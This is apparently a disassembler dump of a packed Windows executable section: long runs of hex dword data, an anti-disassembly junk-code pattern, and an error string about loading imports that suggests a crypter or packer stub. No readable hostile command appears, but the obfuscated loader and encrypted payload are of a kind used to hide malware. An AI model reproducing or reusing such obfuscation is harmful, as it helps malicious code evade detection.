		dd 6A05E92Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0C4FE940Bh, 8DE909FCh, 0EFD10285h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 1EF51E9Eh, 0DB8105B3h, 3F1158ECh, 0CE8B6650h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 6D87C355h, 6EC09D9h, 6A18B1h
		dd 1D29BD8Bh, 6A05E9h, 7C98166h, 0A195FFCDh, 2905E90Ah
		dd 0E90335BDh, 550E905h, 0DEBA0000h, 0E85E317Eh, 0
		dd 7ED815Dh, 8B05EFD1h,	4E8DFh,	0FA00000h, 0FD8A0000h
		dd 7E950h, 77940000h, 963CD558h, 24448B14h, 66008B04h
		dd 895AF0BFh, 0B5042444h, 6A58DCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 1AC7EDC3h, 0FFF91605h
		dd 0E91E9595h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0FB36F675h, 28350AE1h
		dd 8B60F7AEh, 0E90D1595h, 8D61FC05h, 0EFD00CB5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0F2808E94h, 5206C7BDh, 896D6765h, 0E90DEDB5h, 446C705h
		dd 6C636E6Fh, 4798D89h,	46C705E9h, 73736108h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0AACCA14Ch, 0F88B66F5h, 68E0Fh, 9D890000h, 5E92661h
		dd 840F006Ah, 0Ah, 5E9h, 26BC4400h, 858DC1B8h, 5EFD00Ch
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8CC35747h
		dd 0A6EE70E9h, 0D18B50F8h, 0E9240489h, 11h, 0FCC0C0D4h
		dd 66CC3D65h, 0A71A9957h, 0DF9A483Ch, 2595FFB6h, 6A05E92Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 6E8DC353h, 635387EBh, 89E418F1h, 0E928258Dh
		dd 55958B05h, 0B05E925h, 71840FC0h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 4C6AC350h, 580AD29Bh, 6860Fh, 66500000h, 5FD3F8B9h
		dd 68B0Fh, 9D010000h, 5E922E1h,	32298501h, 1FE905E9h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5630C356h, 98930779h, 0AE42BA18h,	8D8B4146h
		dd 5E90471h, 890DFB68h,	0BBBF6621h, 24348129h, 21890CD7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 77C35545h
		dd 0D94750A4h, 95FF0383h, 5E91E95h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0CC35646h, 2661211Dh, 8B49258Bh
		dd 0E903898Dh, 0F58D8B05h, 8D05E922h, 0EFD00CB5h, 219D8B05h
		dd 0C705E90Dh, 34383106h, 0A1BD8B36h, 0C705E907h, 2D370446h
		dd 6A3134h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0EFF0EC3h, 757FF2A2h, 2BE59D8Bh, 46C705E9h
		dd 8, 499D8B00h, 6A05E90Bh, 68A0F00h, 89000000h, 0E93065B5h
		dd 1BD8905h, 8D05E910h,	0EFD00C85h, 8D8BF905h, 5E901C5h
		dd 0EE990h, 0E2570000h,	7C2C5908h, 3ECDC766h, 0C521D995h
		dd 9DB46050h, 0BE9h, 2E48D000h,	44882EA0h, 0CDEB5C24h
		dd 95FF9061h, 5E92E25h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 6AC35343h, 65BD8918h,	2905E92Bh, 0E901AD85h
		dd 0FC00B05h, 3A84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0CD6263EEh, 1D3977ABh
		dd 0D78B0D0Ch, 189E9h, 0DA815700h, 62001C3Bh, 0E3D28159h
		dd 687F77E7h, 66A12DDBh, 3481F18Ah, 0A12CF724h,	0DBD8B66h
		dd 0FF05E902h, 0E91E9595h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 1455F37Fh
		dd 0CB58D06h, 0E805EFD0h, 6, 0B7FAEF44h, 0BF66D5D6h, 0C75BED69h
		dd 6C694606h, 0DE8B6665h, 6D0446C7h, 0F636E6Fh,	685h, 0F99D2900h
		dd 0C705E927h, 616C0846h, 0BE97373h, 20000000h,	3B89FC44h
		dd 0A83E1604h, 46C7CDA3h, 0Ch, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 52941F4Eh
		dd 803C9F8Fh, 82BBD6B1h, 0E95EFFA2h, 0Bh, 6DE194C4h, 814EF783h
		dd 6AF6D50Ah, 5E900h, 45A80000h, 8D553DC4h, 0EFD00C85h
		dd 0D6BF0F05h, 22DDBD31h, 669005E9h, 5082A0BFh,	6A90DE8Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 2532C353h, 1EE1C7CAh, 0FFD38F56h,	0E92E2595h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 2AB86936h, 0E652F57Ah, 0E5858933h, 0B05E92Fh
		dd 15840FC0h, 0F000000h, 686h, 318D8B00h, 0E905E905h, 26h
		dd 0E995BF66h, 0FFFB26E9h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B58D43BBh
		dd 5E972D4h, 6E8h, 1F2A5700h, 8BC57BD0h, 0E92DE59Dh, 0B85905h
		dd 60000000h, 0D920BEBAh, 0E781661Dh, 0FF61C910h, 57006AE6h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 668991E9h, 957A38Ah,	0E92B2185h, 0C18B5905h,	0D72E8D8Dh
		dd 6A05EFh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 47CB01C3h, 0F919466Ah, 908EBA60h,	8D231D28h
		dd 5E931A1h, 89F08B61h,	0E926558Dh, 0ED9D8B05h,	0C705E90Ch
		dd 0E9080585h, 73FC05h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 2824E06Ch, 7BA7EFC7h
		dd 59BD8Bh, 85C705E9h, 5E9163Dh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7C35040h
		dd 0E0D4CC4Bh, 0FF9805FCh, 0E91EE9B5h, 0C595FF05h, 6A05E90Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 820FC357h, 0DD689975h, 0BBD0BDEFh, 5B1FE933h
		dd 95FF006Ah, 5E91E95h,	1DEBC08Bh, 2EA333E2h, 0A62C7B09h
		dd 4369039Eh, 5ACAE63Bh, 82DF06C1h, 8021DA25h, 7A2C2FECh
		dd 259D8D67h, 0B805E916h, 1434h, 3158589h, 0E805E9h, 58000000h
		dd 0D05h, 0E9038900h, 1434h, 50Dh dup(0)
		dd 9BE9h, 0AFD61600h, 4170AC92h, 0D2013E24h, 6194CFB5h
		dd 0F5205E44h, 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h, 6046638Eh
		dd 9D6F326h, 0F1347A28h, 61BA1326h, 5487C283h, 9CE290B1h
		dd 2216C91Ah, 0B5570FACh, 63A1CE09h, 0DE400A38h, 0CBF807C1h
		dd 1DF76643h, 5A14B1E0h, 0E978BC48h, 3A8E54E6h,	4C46CAE9h
		dd 3D0E976h, 10000000h,	82C233A1h, 2F692D5Bh, 0CB0ACEFCh
		dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h,	13E0230h
		dd 0A4E0A4D2h, 68864775h, 5EFEBACh, 0F993B2E9h,	0FB828DFFh
		dd 0EFEC3AB8h, 0E8C50305h, 0Ch,	0B8AA7107h, 9ED2C775h
		dd 8DC7A697h, 0FE9h, 0FEF9EC00h, 457C6157h, 71097460h
		dd 0C4E3C214h, 0F19D895Bh, 8105E92Ch, 6185C3h, 0B1BD0B00h
		dd 3305E92Bh, 94B060F6h, 12E9h,	63CB4D00h, 0AE7ABDE9h
		dd 7C8214B1h, 726D567Ch, 610EDD41h, 0F33048Bh, 0C081C9B7h
		dd 247C4A9Bh, 2F759531h, 0E88105E9h, 9AE446Eh, 2F45BD31h
		dd 0E88105E9h, 32522AE9h, 17E9BD8Bh, 895005E9h,	0E92F69BDh
		dd 33048F05h, 20800Fh, 14E80000h, 43000000h, 88D67061h
		dd 8E11369Ch, 7E618912h, 0DC358639h, 8930D574h,	0E90E7195h
		dd 958B5905h, 5E90481h,	8904EE83h, 0E92745B5h, 3CFE8105h
		dd 0FFFFF9Fh, 0FFFF8B85h, 1204EBFFh, 0E94CF5C6h, 0E0Ah
		dd 0EFEF5668h, 92C9E905h, 6068FFF9h, 0E905EFF0h, 0FFF992BFh
		dd 0EFF19668h, 92B5E905h, 2468FFF9h, 0E905EFF2h, 0FFF992ABh
		dd 0EFF58468h, 92A1E905h, 6568FFF9h, 0E905EFF8h, 0FFF99297h
		dd 0EFF95F68h, 928DE905h, 1959FFF9h, 0B3EFD5F2h, 44816784h
		dd 0D712F815h, 63A187A4h, 0CB171B38h, 6986B1EFh, 0FE1B4283h
		dd 91AED918h, 213E71ABh, 81C57354h, 0D1326F7h, 8B6D7B4h
		dd 1326F746h, 0C8E965EFh, 0A2FAD752h, 0C2618F2Ch, 5A880A84h
		dd 945EC6D9h, 0A0CEF938h, 824674D6h, 0C715C943h, 2FE00B49h
		dd 0D6389442h, 692880B9h, 2F77BFA8h, 26631E1Bh,	0A236F2EAh
		dd 7BA6E440h, 7E21834Dh, 3228D3D0h, 1ABD331Ch, 0B3E21FF9h
		dd 2008C383h, 0B855CB13h, 85A6800h, 69A81320h, 104C103Eh
		dd 0EC3BB3E1h, 0DAE1589h, 0C19D4368h, 3D934526h, 59000000h
		dd 3366A17Bh, 659E3B05h, 4CFA9D0Dh, 1C322C53h, 9F3765DBh
		dd 132004A3h, 1B4233D4h, 9045EAECh, 35752651h, 0D7B653CBh
		dd 4526B309h, 1127h, 1FCDEE00h,	1320425Fh, 1E4CE95Fh, 901CAh
		dd 88C20A00h, 29632755h, 1A4707B5h, 0D14716C9h,	0C119526Fh
		dd 89EB1A57h, 23BF38E6h, 49BF1C32h, 5F92CCA6h, 12CA6731h
		dd 200C487Ah, 670EAF13h, 26C59C44h, 2E9445h, 6F5A0000h
		dd 7D8C5817h, 37079981h, 5DDB0C86h, 3496B0C0h, 5FFEE391h
		dd 92081C32h, 7DF6CC64h, 60011320h, 0B0CA9615h,	0D5E64526h
		dd 0AC000000h, 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h
		dd 7410533h, 621031D4h,	16C91A1Ch, 0C5F832A2h, 4A0EC663h
		dd 6C0DD10h, 16C916DCh,	16B9EC26h, 1E0747F5h, 118716C9h
		dd 71A0CD74h, 5BBE458Fh, 0BEA44130h, 0C235184h,	80A144B4h
		dd 0B396CA6h, 51EAA441h, 5A1C31F1h, 0E6144380h,	2D9D7F1Ch
		dd 2E69C5ECh, 437C99FBh, 0B7D87BEBh, 0C6A97788h, 0CB685AC0h
		dd 0C6440D11h, 67A11119h, 8B3C0634h, 24C0D76Dh,	0F396F827h
		dd 93B0DB19h, 13446FADh, 6F713904h, 1A9F5B53h, 6C00000Bh
		dd 2E8052Ch, 947A97C6h,	250B2857h, 0B49AB7EAh, 2A2E4B76h
		dd 99C402B8h, 2E55967Ch, 0C1EC2B11h, 5184BEA4h,	0D8866734h
		dd 1326F596h, 0C2E1BF18h, 563C5984h, 9ECCE91Ch,	4A7176Fh
		dd 8568B4E3h, 5BA33DDDh, 3C1F04BEh, 0F1671C32h,	3F7F2D4Eh
		dd 0BF13201Eh, 430502FAh, 0D6F01CDh, 7EADB870h,	4572CDDBh
		dd 0ECA643DAh, 132049D6h, 0B6F58021h, 452684EAh, 0F406h
		dd 88C2CC00h, 99D8B255h, 5519D16Eh, 26BEEC17h, 16C916FCh
		dd 7C99CC06h, 86295C96h, 1EF7B765h, 0FEAC16C9h,	16C91EB8h
		dd 878D046h, 0A7719FCAh, 0D9F0A845h, 946E1181h,	33FD2B56h
		dd 0EBB6996h, 0FD1C31F3h, 3D682EDCh, 761320h, 0E3C63A4h
		dd 4FC5A744h, 31A1F932h, 58936D8Eh, 827D8BD6h, 70D28332h
		dd 0DD1C7842h, 1DBA84B2h, 0C6A8D063h, 6DAA1A19h, 7E5BAFEFh
		dd 0EF51FD4Bh, 0D210EA8Dh, 66A48AA7h, 0E4090A3Bh, 4E466F71h
		dd 0A1092h, 0FB226200h,	8DBCF8DEh, 1E4D8A70h, 0ADE01B01h
		dd 416CAA90h, 0F8C22024h, 8C728FBAh, 2107244Bh,	0B49AB7E2h
		dd 5D2A477Ah, 0EA88CE7Ch, 0BD161326h, 5984C2DFh, 0A7E795B6h
		dd 2716C91Ah, 406D14B1h, 5DFA2966h, 0ED0A3D77h,	0D07E9FC0h
		dd 16C91A8Eh, 246A9A10h, 0AA16C91Ah, 9FCD003Ah,	0D61773D5h
		dd 1AB781AFh, 5588C2ECh, 0DAFB1C27h, 0C91A6A2Ch, 0CEFE7416h
		dd 16C91A88h, 0A3A5116h, 5EE2B009h, 3F795FFCh, 6EABD812h
		dd 0E547113Fh, 5391EDB7h, 0CE30FA28h, 0B56384B1h, 16C904F1h
		dd 0C6EA87FDh, 0E959B10Eh, 37772546h, 5E16C904h, 7C5CD2EDh
		dd 52C8200Fh, 92BD01AFh, 0CB4116C9h, 0B253012Eh, 0FC1C3294h
		dd 2D4E5786h, 209C3F7Fh, 114FBF13h, 2DE784E6h, 0B5E78C36h
		dd 2EDC8DE5h, 0BAE5AC68h, 0FB9E0076h, 1E9AB04Dh, 8084B3B0h
		dd 6586D539h, 0CF4527C4h, 886796A1h, 6F33A30Ch,	0A3FB34D1h
		dd 0B3E29033h, 0F7B5F0F9h, 0E3BDDE81h, 0F7DD7AA5h, 284F90BDh
		dd 7D41EFFAh, 81BAE0C9h, 5806A90Bh, 0BAE0C916h,	0A3C02298h
		dd 1F5083BDh, 0C34A4704h, 0DA97534Bh, 2C000008h, 0C2A8C5ECh
		dd 543A5786h, 0E5CBE817h, 745A77AAh, 0EAEE0B36h, 5984C2F8h
		dd 0EE15563Ch, 81ACEBD1h, 11447E64h, 984627F4h,	1326EBD6h
		dd 0C2A17FD8h, 10275588h, 0CBA548B8h, 6832608Fh, 6BF09ECBh
		dd 0EB1C31F2h, 0B9F8D275h, 0D411EB8Eh, 76B377A5h, 0ED4F1947h
		dd 84C3A950h, 0D3932B59h, 313203Dh, 13200D3Fh, 852898F0h
		dd 0DB24B2D7h, 0EB8E0419h, 7BA9D011h, 6D37DC62h, 54B6C3C0h
		dd 13BFFB7h, 0BC309DCEh, 7FF6F73h, 84C4Bh, 375E9E00h, 0C9F8341Ah
		dd 5A89C6ACh, 0E91C573Dh, 7DA8E6CCh, 2C865C60h,	0C0A6C3EEh
		dd 553B587Fh, 0E8CEEB16h, 915E7BAEh, 0E8BC02B0h, 0E9421326h
		dd 63A17B0Bh, 1A0549F7h, 138916C9h, 5DB983B1h, 1D56F31Eh
		dd 0D8B255C5h, 0A1CE6B9Eh, 0EDB15F80h, 0F116C91Ah, 0B5E01F7Bh
		dd 6620BD87h, 1C321305h, 0E9ADDB51h, 34617EADh,	0C1EF1E5Ah
		dd 1D4608B6h, 0D2481320h, 0A7DA1470h, 2C12AF79h, 7C93C1F0h
		dd 600EB127h, 13201D66h, 400432A8h, 719CDA03h, 73C8E10Fh
		dd 0A03CA6Bh, 6B96D531h, 690C2F3Dh, 3342B935h, 0E413502Ah
		dd 373BECB6h, 8FA9962Dh, 0B0ECD26Fh, 5D376481h,	0BE00AE22h
		dd 40132093h, 763A68CAh, 14DE0C37h, 675B15B2h, 54132093h
		dd 0DE0C3F7Ah, 0E93E7714h, 3822D073h, 7E132093h, 9251D30Eh
		dd 0C7FA6123h, 3E083698h, 9DD9BFDCh, 2EA6DF1Fh,	9F4AB55h
		dd 0F1BB3C9Ah, 0F295F759h, 596323D1h, 0F56B1320h, 94315899h
		dd 59B644DCh, 65DC1320h, 0DA589410h, 860B4E3Ah,	0B5D23473h
		dd 366493CFh, 20A4149Eh, 0A57FEE13h, 6A9F3C67h,	2E5D990Bh
		dd 0FABC6A8Bh, 41320A7h, 0E7B7643Fh, 197B4911h,	479CD57Ch
		dd 0EC0D2ED1h, 2099783Eh, 0B4108613h, 531D4B76h, 99C7FCB6h
		dd 0C5F41320h, 0D3F8BC21h, 6816B9A0h, 13208826h, 0B39532A8h
		dd 58799A3Dh, 2088E4AAh, 4474EA13h, 13208802h, 0C179168Ch
		dd 709FDCB6h, 27D57842h, 13208867h, 9A54F167h, 0EF43A4F1h
		dd 84C39D36h, 0EE87BC59h, 472513BDh, 1430D31h, 6FD30000h
		dd 446FAD17h, 74913FE2h, 0BA1C3220h, 8CC7A144h,	0C4F2255Fh
		dd 0CEFB98FAh, 6A87BAF4h, 286E1C3Dh, 5D132010h,	0FE76E60h
		dd 9F156DD9h, 0AFE21C02h, 0C4F7320Ch, 5DFA2D68h, 206B0DA5h
		dd 3E619863h, 336D37h, 90C3FDE3h, 427D5762h, 7EACD715h
		dd 5A2452B4h, 6AE9DBA9h, 18B529C7h, 0F7148ADFh,	75A3D611h
		dd 274477B1h, 0A6D40741h, 0E1621A0Eh, 0C6AFD26Bh, 5471A4DEh
		dd 0C807346Eh, 0F60D3B9Dh, 0DA882BA1h, 0E6EC4894h, 0E001A41Ah
		dd 0EC486C32h, 0DBB72E6h, 0E6EC4849h, 0E07DDF55h, 0EA155339h
		dd 0DA50A5BCh, 48C18937h, 5FD5E6ECh, 0EF225C42h, 94BFFDC1h
		dd 6A0B8266h, 0DB7E003Ah, 598CC7D0h, 0D7B835A8h, 38725875h
		dd 0E65016C4h, 0E85EE6ECh, 0EC415886h, 0BFF9D376h, 0F7945E8Ch
		dd 0E6521CCAh, 0E65CE6ECh, 76A9E3C9h, 1A458448h, 0F77E1BECh
		dd 234073ADh, 0A781033Dh, 4C8EF60Dh, 677EAC0Eh,	4BF99C12h
		dd 0E6ECD107h, 0C4F32F9Fh, 0C76ACC96h, 4C19F198h, 0B9F88542h
		dd 3496608Eh, 0CB0AF097h, 0E823FDA0h, 496018B5h, 184784F4h
		dd 0D1F213B6h, 0EC786323h, 58F56BE6h, 0EC78C89Eh, 4360D6E6h
		dd 4C4C7B15h, 6CCFA135h, 0F02A10ADh, 0F67A0BDh,	0E522FC9Fh
		dd 3EEC19B6h, 1C328671h, 8A64077Dh, 0B9EC264Bh,	0BC5FC18Bh
		dd 1B77A6E2h, 0BB85B3DAh, 5291771Eh, 8AE2F927h,	56B8DF20h
		dd 468405B3h, 1C9219D8h, 0B96C56EEh, 204F16C9h,	2CA0392Dh
		dd 1A53F09Bh, 1AF52C2h,	1C328E98h, 4C7FB993h, 0D5B7541Eh
		dd 336D315Fh, 7F68CF00h, 0AFA7698Ah, 4ECF3h, 0D7FE3E00h
		dd 6998D4BAh, 0FA29664Ch, 89BCF7DDh, 1D48866Ch,	0CCE6FC00h
		dd 6046638Eh, 0F5DBF81Fh, 886E8BB6h, 31FE1B4Eh,	0EFDCA250h
		dd 89E21326h, 58176FABh, 0DB5298FBh, 741779FEh,	322179C6h
		dd 214FC51Ch, 2023B889h, 4C26BF13h, 0E7B1DF12h,	4B60154Ah
		dd 4526EA85h, 9D9Bh, 0C4EE6100h, 1816C91Ah, 0B1E41EF2h
		dd 98466794h, 16C91AD6h, 8CC562D8h, 7220C335h, 16C91A24h
		dd 420634AAh, 0A0E69408h, 2E16C91Ah, 0D9B356B8h, 27CE6B9Eh
		dd 822597EEh, 1C4B8761h, 1A89C57Fh, 9F1516C9h, 692DDBFCh
		dd 7516C91Ah, 0E6AA62FFh, 235C79ACh, 9B75ACCh, 16C91A19h
		dd 13530122h, 9B16C91Ah, 30A68825h, 0DE1DF702h,	665C16B3h
		dd 9C16C95Ah, 3F033160h, 0C2A6D403h, 0F8742A4Bh, 65DF481h
		dd 5F43F194h, 0A716C95Ah, 0E3361431h, 77000000h, 5AE6A856h
		dd 72E816C9h, 0A17BA7D5h, 60993665h, 0D4F59808h, 5795BEFAh
		dd 732DCA2Ch, 1C321316h, 84B3F060h, 1D7333E1h, 57B1320h
		dd 70B175A3h, 0A1F32C49h, 96D48225h, 2013201Dh,	1DE47CAAh
		dd 5663AACCh, 25EBC0B5h, 2FBAD92Bh, 0EA1E600Eh,	609CECDFh
		dd 0C663D931h, 85A5h, 4C7B6B00h, 7F5783F6h, 47801D64h
		dd 28D679F5h, 16C9D566h, 84EFC1Dh, 9616C9D5h, 5887C420h
		dd 3563D9BBh, 0D50F3071h, 0EA2340A2h, 0CB791C98h, 16C9D647h
		dd 81C57394h, 916C9D5h,	0A7719FCAh, 16178A4Fh, 7E191E76h
		dd 90EF6B1Ch, 89CA933Eh, 66940AECh, 0C976F4CEh,	0FE77EE16h
		dd 0D4360153h, 9E2965FBh, 9C4AED4Fh, 16C90016h,	7EB1EBC5h
		dd 0E689FFE1h, 0FB1896C5h, 381C5A71h, 0C98D4608h, 35D24816h
		dd 4C7B608Eh, 0D26D5998h, 6093CE75h, 63066832h,	0C9A8F1B5h
		dd 0EA87FD16h, 7C56CA04h, 0A3E3133Eh, 2B16C9A8h, 1A2553B5h
		dd 0A8D60140h, 215B41DEh, 7C2A4BEEh, 16C9A83Ah,	0AB14EC4h
		dd 660979D1h, 12C6B45h,	912DAA64h, 6C311C32h, 5F9D65E5h
		dd 8B3C0634h, 0AF11FC63h, 26D9E981h, 7D1E1320h,	0EFEDB3F8h
		dd 3D034526h, 0C9000000h, 4A7176Fh, 33A4C4D5h, 5102F900h
		dd 0D7CA0F7Bh, 0BBE885D2h, 3275140Dh, 0CEFC721Ch, 0B2F4A2C3h
		dd 38132057h, 177CFFAh,	5798AA64h, 3EDF1320h, 9AAC7437h
		dd 0B7C44526h, 8A000000h, 0EAAC5A7Bh, 0F416C91Ah, 0C1FBE17Eh
		dd 5E9C608Eh, 7BB69033h, 2FF3AB48h, 0D094C2F5h,	8C466396h
		dd 16C91656h, 223F72ACh, 0A1CF023Ch, 1FC2328Ah,	3211C471h
		dd 77940A1Ch, 0D376E63Eh, 6E99D8B2h, 0DE1A7640h, 1AB781AFh
		dd 0C6907560h, 0A447BD19h, 44618CCAh, 0CF023D17h, 543AD7A1h
		dd 41BAEB16h, 0E6F7161h, 20B5A16h, 1D5D0000h, 0B7F3D9F6h
		dd 48856B88h, 0DB16FC19h, 67A58BA8h, 0C71B1F3Ch, 6582ADEBh
		dd 0FA173E7Fh, 8DAAD514h, 1D3A6DA7h, 0FDC16F50h, 11326E2h
		dd 84C2CAA8h, 1A246A18h, 65A616C9h, 0E70E63Eh, 5DD10BF1h
		dd 0C91AEFAFh, 1779EF16h, 176FCCFAh, 0E2446FADh, 2E701E3Fh
		dd 6516C91Ah, 0C91AF7B7h, 2981F716h, 3BE916B3h,	1C322926h
		dd 24BCEA60h, 13200B1Eh, 0C8F62964h, 6D9BC604h,	2876FF9Ch
		dd 565520C1h, 4526C68Ah, 0A8A6h, 88C26C00h, 25632755h
		dd 0EE34CCFAh, 1416C916h, 0A48AA7DAh, 0BA94376Ah, 0B0F14D80h
		dd 1D34EC89h, 4B255C5h,	1C3211ABh, 95D987A8h, 1913201Bh
		dd 0E3C6FA9h, 6345E244h, 3F97D0EDh, 0BDA4280h, 51B33401h
		dd 0F5F600AEh, 27819C6h, 1C47855Fh, 0C61C4A79h,	0F6AC57EDh
		dd 0DE8F4009h, 0DE7B94DDh, 0E8135137h, 71B744B7h, 57130B6Fh
		dd 111h, 0DFFC2363h, 718EBDF9h,	21F4E8Bh, 91AEE11Ch, 25426DABh
		dd 0BBF9C121h, 4C8D7390h, 0E3220825h, 7BB59BB8h, 7D5E2B48h
		dd 26E38FCFh, 0D8B60F13h, 3C5984C2h, 0CCE91C56h, 5B88C29Eh
		dd 618FF11Ch, 0C59D2756h, 0C9106430h, 0D713A734h, 76137571h
		dd 6235690h, 620575CDh,	3316E8B4h, 91CDA71Ch, 9CFE2968h
		dd 3C6FAA6Eh, 45E2440Eh, 0B4BFED63h, 0CF6C9FDAh, 5F7CAFE9h
		dd 7FBD3F79h, 280CCEEBh, 4D27CA2Ch, 0EAB4E211h,	8320538Eh
		dd 615733CBh, 3651CA30h, 4B276715h, 31A75A3Ch, 8E165F94h
		dd 0D7042154h, 0BB0662A8h, 6B08070Ah, 75184B85h, 5335A9Bh
		dd 72D40741h, 1E591DD5h, 0D7AA769Ch, 0B2146676h, 7E40EE0Fh
		dd 805A3CBAh, 41A3D610h, 0ED28ECA4h, 87C88CBAh,	0C4613260h
		dd 271EDB1h, 83C0ED28h,	0FAC4F254h, 574D285Dh, 0E7CDEA1Dh
		dd 904C7AADh, 19h, 89BCF7D1h, 0A17BBEECh, 45093762h, 0E1ABD908h
		dd 0B9E4237Fh, 1D24C18Bh, 5B82C2AFh, 0FC2F692Dh, 0A0CB0ACEh
		dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h,	0D2013E02h
		dd 75A4E0A4h, 54518647h, 4C18159h, 83000000h, 0C8704E9h
		dd 89565C24h, 4C681E6h,	81000000h, 4EEh, 24348700h, 242C895Ch
		dd 54A168h, 240C8900h, 0E2BA5251h, 8149F34Ah, 667880EAh
		dd 54E28147h, 8166B10Dh, 3427F4F2h, 81D2F704h, 5FA7EAh
		dd 5AD189A9h, 0C1D9F749h, 0F18108E9h, 0CA8303Bh, 69D5F181h
		dd 0CD8909E8h, 0C8B5459h, 4C48124h, 83000000h, 148904ECh
		dd 8BA24h, 0CA010000h, 0FF5A2A89h, 83592434h, 34FF04C4h
		dd 0C4835D24h, 84CDE904h, 477AFFF9h, 95B87BE3h,	305EFFAh
		dd 0ECE0FFC5h, 0C778B0CDh, 233BA5BAh, 2C0CEA0Dh, 8E5A95EEh
		dd 0C71894B3h, 653E0AE4h, 5648D54Bh, 641C931Eh,	2E2CA71Fh
		dd 0C45B89CBh, 2C35C5C7h, 0B953F229h, 25433984h, 0F25C4E1h
		dd 0FB1F5A87h, 0A879C2FDh, 0E92AECE2h, 127h, 73765B50h
		dd 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	6F8F96A6h
		dd 1137FC70h, 35B11C13h, 41DB0447h, 722B6166h, 0A9F29E35h
		dd 88321177h, 678B90EFh, 0BFBF108Fh, 14D9ADA2h,	0D069C699h
		dd 5513A8E5h, 5632108Fh, 0A9614571h, 88321177h,	678B90EFh
		dd 0BFBF108Fh, 14D9A0D5h, 0D069C699h, 0F9B1D5EDh, 27DDEEA8h
		dd 1B61A66h, 5321566h, 0ABF5F1E3h, 0AFE2EA63h, 0FEFA01E3h
		dd 4EE2EA63h, 0AD3CF0E3h, 705A4363h, 0EEAEBDDEh, 612CE8D3h
		dd 2BB79863h, 0DD37F91Ch, 24B79CB6h, 537FC63h, 0ABCE8BE3h
		dd 0A7BF4563h, 14DDEE19h, 0D9A7EA36h, 8337FC6Bh, 0CB341CE3h
		dd 11321563h, 6DB7D366h, 137FC68h, 505B7C0Eh, 5487EAE8h
		dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0F81CB4E3h, 6DB7D363h
		dd 737FC68h, 45594B0Eh,	5487EAFAh, 537FC45h, 0AD0BDAE3h
		dd 0ABE2EA63h, 0FEC9A3E3h, 6DB7D363h, 1037FC68h, 405A3C0Eh
		dd 5487EA88h, 537FC45h,	0AD0BDAE3h, 0ABE2EA63h,	0FEC9AFE3h
		dd 6DB7D363h, 137FC68h,	420AD70Eh, 5487EABCh, 537FC45h
		dd 0AD0BDAE3h, 0ABE2EA63h, 0FEC9ABE3h, 358F9663h, 4437FC67h
		dd 22779069h, 94F41566h, 8DDB1B83h, 3AB47D23h, 97CDEF46h
		dd 14DB3623h, 0B1FD90EBh, 94CD108Fh, 0D9F090EFh, 94F41089h
		dd 8DDB1B83h, 94F17D2Ah, 97CDF540h, 14DB3623h, 0B1FD90EBh
		dd 94CD108Fh, 0D9F490EFh, 51DB1089h, 4E321566h,	0AD3CF0E3h
		dd 2F5A4763h, 0EE8E5F82h, 610134D3h, 8BB79863h,	0DD37FC5Fh
		dd 0D3B79CB6h, 4E37FA9Dh, 0AD3CF0E3h, 6A5A4763h, 0EE94592Ch
		dd 610134D3h, 8BB79863h, 0DD37FC5Fh, 0D7B79CB6h, 4E37FA9Dh
		dd 0AD3CF0E3h, 0C85A4763h, 0EECF57D2h, 611150D3h, 8BB79863h
		dd 0DD37FC5Fh, 9CB79CB6h, 4E37FC4Dh, 0AD3CF0E3h, 815A6263h
		dd 0EEC182CEh, 61322CD3h, 8BB79863h, 0DD37FC5Fh, 34B79CB6h
